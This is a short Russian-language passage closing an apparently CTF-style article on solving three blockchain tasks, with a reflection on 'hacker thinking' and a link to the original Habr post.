Так, на примере трех относительно несложных задач, мы видим как «пугающий блокчейн», при некотором минимальном освоении, превращается из неведомой и сложной истории во вполне решаемую задачу. А дополнительно понимаем ценность «выхода за рамки» и «захода на неизведанные территории», которые и являются сутью хакерского мышления, и которые будучи последовательно применены к разным областям жизни могут привести к интересным результатам…. В прочем об этом поговорим в других материалах =)
ссылка на оригинал статьи https://habr.com/ru/articles/831560/
Добавить комментарий